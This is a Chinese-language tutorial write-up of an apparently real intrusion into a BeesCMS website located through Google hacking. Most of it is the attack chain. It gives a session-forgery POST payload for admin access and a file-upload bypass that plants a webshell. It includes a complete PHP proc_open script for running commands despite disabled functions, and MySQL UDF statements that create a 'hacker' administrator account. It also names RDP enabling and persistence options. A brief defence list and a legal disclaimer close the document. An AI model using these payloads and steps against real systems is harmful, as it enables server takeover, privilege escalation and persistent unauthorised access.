【实战1】记一次提至Administrator权限实战
字数 1121 2025-08-26 22:11:22
提权至Administrator权限实战教学文档
0x01 漏洞背景与发现
本次实战针对的是BeesCMS系统,通过Google Hacking语法发现目标站点。BeesCMS存在会话伪造漏洞,可直接进入后台管理系统。
0x02 进入后台
- 漏洞利用点:
/mx_form/mx_form.php?id=12页面存在会话伪造漏洞 - 利用方法:
- 使用Hackbar POST以下数据:
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000 - 然后直接访问
/admin即可进入后台
- 使用Hackbar POST以下数据:
0x03 获取Webshell
- 寻找上传点:在后台"添加产品模块"处找到文件上传功能
- 绕过上传限制:
- 直接上传PHP文件会被拦截,提示"上传图片格式不正确"
- 上传图片马(图片中包含恶意代码)
- 使用Burp Suite拦截上传请求,在Repeater中修改文件后缀为.php
- 确认上传成功:
- 在"上传图片管理"处查找上传的文件
- 访问该文件确认是否解析成功
- 使用中国菜刀等Webshell管理工具连接
0x04 绕过安全模式限制
- 问题发现:执行系统命令失败,可能启用了PHP安全模式
- 解决方案:
- 上传phpinfo脚本查看禁用函数列表
- 发现
proc_open函数未被禁用
- 利用proc_open执行命令:
<?php $descriptorspec = array( 0 => array('pipe', 'r'), // STDIN 1 => array('pipe', 'w'), // STDOUT 2 => array('pipe', 'w') // STDERR ); $handle = proc_open('whoami', $descriptorspec, $pipes, NULL); if(!is_resource($handle)){ die('proc_open failed'); } print('stdout:<br/>'); while($s = fgets($pipes[1])){ print_r($s); } print('<br/>stderr:<br/>'); while($s = fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>- 上传此脚本可绕过安全模式执行系统命令
0x05 提权至Administrator
- 当前权限:IIS用户权限,操作受限
- 寻找数据库配置:
- 通过Webshell查看文件系统
- 找到数据库配置文件(通常包含数据库连接信息)
- MySQL UDF提权:
- 确认目标使用MySQL数据库
- 上传UDF提权脚本(如Moonudf.php)
- 通过MySQL导出UDF函数:
CREATE FUNCTION sys_exec RETURNS string SONAME 'udf.dll'; - 执行系统命令:
SELECT sys_exec('net user hacker Password123 /add'); SELECT sys_exec('net localgroup administrators hacker /add');
- 提权结果验证:
- 执行
whoami确认当前用户 - 尝试创建新用户或开启远程桌面服务
- 执行
0x06 限制与问题
- 可能遇到的限制:
- 无法添加用户
- 无法开启3389远程桌面端口
- MySQL权限不足无法导出UDF
- 替代方案:
- 尝试其他提权方法(如Windows本地提权漏洞)
- 使用注册表操作开启远程桌面
- 使用端口转发建立持久化连接
0x07 防御建议
- 针对CMS:
- 及时更新CMS版本
- 修复会话伪造漏洞
- 限制后台文件上传功能
- 针对服务器:
- 禁用危险PHP函数(如proc_open, system等)
- 配置PHP安全模式
- MySQL使用最小权限原则
- 限制UDF函数创建
参考资源
- PHP限制命令执行绕过方法
- UDF提权脚本:Moonudf.php
- 会话伪造漏洞修复方案
本教学文档详细记录了从发现漏洞到最终提权的完整过程,重点介绍了绕过安全限制和提权的关键技术点。实际渗透测试中请确保获得合法授权,并遵守相关法律法规。